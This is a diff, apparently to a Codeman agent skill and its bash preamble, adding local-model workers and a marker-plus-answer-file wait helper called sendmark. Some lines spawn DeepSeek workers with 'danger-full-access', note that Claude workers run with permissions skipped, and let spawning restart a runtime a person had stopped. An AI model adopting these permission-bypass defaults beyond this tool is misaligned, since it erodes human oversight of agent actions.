[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -272,21 +382,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -332,10 +457,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -369,7 +494,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -434,6 +559,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -456,10 +683,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -510,7 +737,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -557,8 +784,8 @@ the time went into deliberation, not the API. The four things that actually cost
polled pid for nothing, and shipped its workers without lineage.
- **Verifying what is already checked for you.** Two verifications specifically are not
worth a call here, because `spawn_worker` carries them: the hooks check (it refuses a
name that resolved to a hook-less directory with one local grep, so a worker it hands
back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
name that resolved to a hook-less directory with one local grep, so a claude worker it
hands back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
which is dead weight because `wait-output` already blocks on the composer.
Four things this block leans on, each one link away, no detour needed to run it:
@@ -618,6 +845,71 @@ Three things to know before you spawn one:
worker whose pane clearly finished: that profile is one of them, so drive it with
markers instead.
### Claude in the cloud, a local model on this Mac
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
Reach for it when:
- **The work is bulk, not judgment**: summarizing a folder, classifying, first drafts of
tests, boilerplate. A local turn has no per-token bill.
- **The files should stay on this machine**: the worker reads them here, and only what you
read back from it enters your own context.
- **You want a second opinion from a different model**, with different blind spots.
- **The worker should not depend on the network**: the model's runtime listens on this Mac
only, started with its cloud features off. You, the lead, still need a connection.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
jq -r '.answer // "(no answer)"' <<<"$R"
if [ "$RC" = 0 ]; then delete_session "$SID" >/dev/null
else echo "kept $SID (sendmark rc $RC: 2 no answer yet, 3 ended, 4 no answer file): $R"; fi
```
`sendmark` is the local worker's `sendwait`: it adds one sentence to your prompt asking for
the answer in `codeman-answer-<token>.md` in the worker's folder and then a split marker,
waits for the marker with `wait-output`, and reads the file back. OpenCode can draw the
marker in pieces that never match, so a file that holds still between two checks ends the
wait too ([§5.16](reference/verbs.md#516-a-worker-on-the-local-model)). Read its `answer`,
not the pane: a full-screen agent's pane is a poor transcript. ⚠️ A marker proves that the model
printed a token, not that the work is done or right. Review what comes back the way you
would review any first draft.
The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
- **Slower than a cloud model.** The one measured pair, OpenCode with Qwen3.6 35B-A3B on an
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
as they are done.
- **Admin only in multi-user mode, and experimental.** The local model routes answer 403
for anyone else (`admin-only`), and they may change in any release.
## 2. What do you want to do?
One row per job. Acting on this table alone is correct; the §5 links are the detail.
@@ -627,7 +919,8 @@ One row per job. Acting on this table alone is correct; the §5 links are the de
| start a worker **where the work is** | `POST /api/v1/quick-start {"caseName":…}`, which **creates** `~/codeman-cases/<name>` unless the name is already a case. Any other path (a git worktree): `POST /api/v1/sessions {"workingDir":…}` then `POST /api/v1/sessions/:id/interactive`. Both install hooks by default, so expect full signals in either, and **verify** rather than assume. N workers means N worktrees | [§5.1](reference/verbs.md#51-where-to-spawn) |
| know a new worker can accept a prompt | `GET .../wait-output?match=shift+tab&from=buffer` (urlencode the `+`); a `deepseek` worker draws `❯` instead, and its boot `stop` fires ~300 ms BEFORE that, so never read the signal as readiness | [§5.2](reference/verbs.md#52-readiness) |
| deliver a task **and** know when it finished | `POST .../input` with `"input":"…\r"`, `clientId`, `seq`, `"wait":true`. Resolves on `stop`, so it is trustworthy where the signal is real: claude mode with hooks (installed by default, but the operator can disable it and remote sessions never get them) and `deepseek` mode through its status bridge. Costs the worker one billed turn | [§5.3](reference/verbs.md#53-send-a-task-and-wait) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead. For an agent worker, `sendmark <sid> "<prompt>"` does all of it and reads the answer back | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| hand work to the local model on this Mac (cheap bulk work, files that stay here, a second opinion) | `local_model` says what is installed; `spawn_worker <name> local` (or `name:local` in `spawn_workers`) starts a worker on it; `sendmark` tasks it and returns the answer | [Local model](#claude-in-the-cloud-a-local-model-on-this-mac), [§5.16](reference/verbs.md#516-a-worker-on-the-local-model) |
| read the answer | `GET .../last-response`, **polled** (claude, codex and deepseek write a transcript; empty for the other modes) | [§5.4](reference/verbs.md#54-read-the-answer) |
| know if it is alive | `GET .../wait?until=exit&timeout=1000`: an immediate `signal:"exit"` means dead. `status` and `pid` both lie | [§5.6](reference/verbs.md#56-alive-and-stuck) |
| know if it is stuck | `GET .../active-tools` and `GET .../run-summary` are structured and free; two `terminal?tail=` samples are the crude fallback | [§5.6](reference/verbs.md#56-alive-and-stuck) |
@@ -743,6 +1036,7 @@ these**; open the one row you actually hit.
| [5.13 Messaging claude workers](reference/verbs.md#513-messaging-claude-workers) | `ListAgents` / `SendMessage` instead of the HTTP path |
| [5.14 Clean up](reference/verbs.md#514-clean-up) | what deleting a session does **not** remove, and how to list the case dirs you left |
| [5.15 Agent inbox](reference/verbs.md#515-agent-inbox) | messages that wait for the receiver instead of being typed: post, read until ack, who counts as the receiver |
| [5.16 A worker on the local model](reference/verbs.md#516-a-worker-on-the-local-model) | what `local_model` answers, what `spawn_worker <name> local` does step by step, and every `sendmark` outcome |
## 6. Setup and auth
+242 -16
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -49,11 +49,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -113,21 +117,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -135,21 +244,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
